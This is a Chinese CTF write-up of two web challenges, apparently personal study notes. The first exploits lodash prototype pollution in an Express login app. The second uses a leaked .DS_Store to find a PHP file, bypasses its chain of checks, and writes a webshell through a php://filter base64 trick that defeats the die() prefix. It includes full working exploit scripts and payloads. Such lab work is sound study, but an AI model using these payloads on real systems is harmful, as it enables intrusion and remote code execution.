0%

5-9日常

[安洵杯 2020]Validator

扫描目录发现两个文件:app.js与package.json

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
const express = require('express')
const express_static = require('express-static')
const fs = require('fs')
const path = require('path')

const app = express()
const port = 9000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

let info = []

const {
body,
validationResult
} = require('express-validator')//该模块提供了一组验证函数和方法来验证传入的请求数据。它用于在应用程序处理之前验证和清理用户输入数据。

middlewares = [
body('*').trim(),
body('password').isLength({ min: 6 }),
]

app.use(middlewares)

readFile = function (filename) {
var data = fs.readFileSync(filename)
return data.toString()
}

app.post("/login", (req, res) => {
console.log(req.body)
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}

if (req.body.password == "D0g3_Yes!!!"){//这个是我们可控的
console.log(info.system_open)//用于指示系统是否处于开放状态
if (info.system_open == "yes"){//这个不可控,利用原型链污染
const flag = readFile("/flag")
return res.status(200).send(flag)
}else{
return res.status(400).send("The login is successful, but the system is under test and not open...")
}
}else{
return res.status(400).send("Login Fail, Password Wrong!")
}
})

app.get("/", (req, res) => {
const login_html = readFile(path.join(__dirname, "login.html"))
return res.status(200).send(login_html)
})

app.use(express_static("./"))

app.listen(port, () => {
console.log(`server listening on ${port}`)
})

package.json可以获得以下信息

1
2
3
4
5
express	"^4.17.1"
express-static "^1.2.6"
express-validator "^6.6.0"
fs "0.0.1-security"
lodash "^4.17.16"(lodash在4.17.17以下存在原型链污染漏洞)

先看一下最终的payload

1
2
3
4
5
6
7
8
import requests as req
target = 'http://node4.anna.nssctf.cn:28203/login'
data = {
'password': "D0g3_Yes!!!",
"a": {"__proto__": {"system_open": "yes"}}, "a\"].__proto__[\"system_open": "no"
}
res = req.post(url=target, json=data)
print(res.text)

官方wp

太难了,暂时先不理解原理

[NSSRound#7 Team]0o0

啥都没

首先扫描目录,发现了一个文件/.DS_Store(以前从来不知道这个文件还可以利用)

下载下来

1
wget http://node3.anna.nssctf.cn:28806/.DS_Store

这个是个隐藏文件,必须使用ls -al才能查看

img

尝试使用vim -r恢复文件

1
2
3
4
5
vim -r 是一种用于恢复 Vim 编辑器会话的命令。当 Vim 编辑器意外退出或者计算机系统崩溃时,可能会导致正在编辑的文件未保存。在这种情况下,可以使用 vim -r 命令来恢复上一次会话,以便继续编辑未保存的文件。

具体来说,vim -r 命令会在 Vim 编辑器启动时检查当前目录下是否存在恢复文件,如果存在,则会提示用户是否要恢复上一次会话。如果用户选择恢复,则 Vim 编辑器会打开所有未保存的文件,并自动恢复上一次的编辑状态。

需要注意的是,恢复文件的命名规则是以点号开头

没有成功

接着cat这个文件

发现了一个php文件

img

访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
} NO0o0o0o0o!

单走一个6

疯狂绕过即可,最后是死亡exit的绕过,利用base64编码,再利用伪协议解码绕过即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from base64 import b64encode
import re

def get_flag(URL):
url = f"{URL}/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1%00&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=true&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"
data = {'submit':1}

payload = str(b64encode(b"<?php system('cat /home/f1ag');?>"))
payload = re.findall(r"b'(.*?)'",payload)[0]

file1 = {'file': ('1.png.php', f"")}
file2 = {'file': ('%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%31%2e%70%6e%67%2e%70%68%70', f"aaa{payload}")}

requests.post(url,data=data,files=file1)# 上传一个php文件
requests.post(url,files=file2,data=data)# 伪协议对内容解码,并写入1.png.php
nssctf_text3 = requests.post(f'{URL}/1.png.php').text
print(nssctf_text3)

if __name__ == "__main__":
get_flag("http://node3.anna.nssctf.cn:28806")